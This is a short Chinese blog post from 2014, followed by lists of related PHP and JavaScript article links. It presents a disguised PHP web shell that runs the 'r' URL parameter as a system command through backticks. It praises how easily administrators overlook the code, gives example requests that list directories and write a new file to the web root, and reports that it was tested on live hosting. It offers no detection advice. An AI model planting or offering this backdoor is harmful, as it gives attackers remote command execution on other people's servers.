一个不易被发现的PHP后门代码解析


Posted in PHP onJuly 05, 2014

偶然间看到一段,看起来似乎没有什么问题,确是能致命的后门代码,这里用到了一个一般的PHPer都不怎么关注的反撇号 ` ,反撇号包含的字符串,等同于shell_exec函数。

伪装性很好,很容易被管理员忽略。

$selfNums = $_GET['r'];
if (isset($selfNums)){
  echo `$selfNums`;
}

刚看到这段代码我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,

而且又不是单引号,这个就是关键所在了,这个符号是 Esc 下面的一个键(位于感叹号!旁边的),

通过 echo `系统命令`; 可以达到 system(); 一样的效果

如果不信的朋友可以测试

http://127.0.0.1/t.php?r=dir 可以列出目录

http://127.0.0.1/t.php?r=echo 我是马儿 >>D:\web\90sec.php

我用 appserv 和虚拟主机已经测试成功。

PHP 相关文章推荐
php.ini-dist 和 php.ini-recommended 的区别介绍(方便开发与安全的朋友)
Jul 01 PHP
yii操作cookie实例简介
Jul 09 PHP
php向js函数传参的几种方法
Aug 10 PHP
PHP函数eval()介绍和使用示例
Aug 20 PHP
ThinkPHP框架安全实现分析
Mar 14 PHP
Yii使用migrate命令执行sql语句的方法
Mar 15 PHP
PHP中的多种加密技术及代码示例解析
Oct 20 PHP
PHP实现的回溯算法示例
Aug 15 PHP
thinkphp5+layui实现的分页样式示例
Oct 08 PHP
PHP如何开启Opcache功能提升程序处理效率
Apr 27 PHP
php开发最强大的IDE编辑的phpstorm 2020.2配置Xdebug调试的详细教程
Aug 17 PHP
PHP数组访问常用方法解析
Sep 05 PHP
linux下使用crontab实现定时PHP计划任务失败的原因分析
Jul 05 #PHP
php操作redis中的hash和zset类型数据的方法和代码例子
Jul 05 #PHP
采用memcache在web集群中实现session的同步会话
Jul 05 #PHP
30个php操作redis常用方法代码例子
Jul 05 #PHP
PHP在网页中动态生成PDF文件详细教程
Jul 05 #PHP
PHP数组遍历知识汇总(包含遍历方法、数组指针操作函数、数组遍历测速)
Jul 05 #PHP
php遍历数组的4种方法总结
Jul 05 #PHP
You might like
Laravel 4.2 中队列服务(queue)使用感受
2014/10/30 PHP
jQuery+PHP实现的掷色子抽奖游戏实例
2015/01/04 PHP
Smarty使用自定义资源的方法
2015/08/08 PHP
php调用云片网接口发送短信的实现方法
2017/10/25 PHP
细说浏览器特性检测(2)-通用事件检测
2010/11/05 Javascript
基于jquery的当鼠标滚轮到最底端继续加载新数据思路分享(多用于微博、空间、论坛 )
2011/10/10 Javascript
获取客户端网卡MAC地址和IP地址实现JS代码
2013/03/17 Javascript
JQuery+DIV自定义滚动条样式的具体实现
2013/06/25 Javascript
JS中判断null、undefined与NaN的方法
2014/03/26 Javascript
js实现用户离开页面前提示是否离开此页面的方法(包括浏览器按钮事件)
2015/07/18 Javascript
jQuery+css3实现Ajax点击后动态删除功能的方法
2015/08/10 Javascript
基于javascript实现仿百度输入框自动匹配功能
2016/01/03 Javascript
Web Uploader文件上传插件使用详解
2016/05/10 Javascript
JS+Canvas 实现下雨下雪效果
2016/05/18 Javascript
js利用appendChild对标签进行排序的实现方法
2016/10/16 Javascript
bootstrap fileinput 插件使用项目总结(经验)
2017/02/22 Javascript
基于Vue2的独立构建与运行时构建的差别(详解)
2017/12/06 Javascript
微信小程序使用map组件实现解析经纬度功能示例
2019/01/22 Javascript
jquery实现加载更多"转圈圈"效果(示例代码)
2020/11/09 jQuery
微信小程序弹窗禁止页面滚动的实现代码
2020/12/30 Javascript
老生常谈Python序列化和反序列化
2017/06/28 Python
Django rest framework基本介绍与代码示例
2018/01/26 Python
ubuntu 安装pyqt5和卸载pyQt5的方法
2020/03/24 Python
Python设计密码强度校验程序
2020/07/30 Python
Python Selenium实现无可视化界面过程解析
2020/08/25 Python
python使用requests库爬取拉勾网招聘信息的实现
2020/11/20 Python
python re模块常见用法例举
2021/03/01 Python
欧洲最大的婴幼儿服装及内衣公司:Petit Bateau(小帆船)
2016/08/16 全球购物
无谷物狗粮:Pooch & Mutt
2018/05/23 全球购物
C#如何调用Windows程序打开一个文档
2014/12/26 面试题
服装设计行业个人的自我评价
2013/12/20 职场文书
干部作风整顿个人剖析材料
2014/10/06 职场文书
高中政治教师教学反思
2016/02/23 职场文书
2019自荐信范文集锦!
2019/07/03 职场文书
浅谈CSS不规则边框的生成方案
2021/05/25 HTML / CSS
解析redis hash应用场景和常用命令
2021/08/04 Redis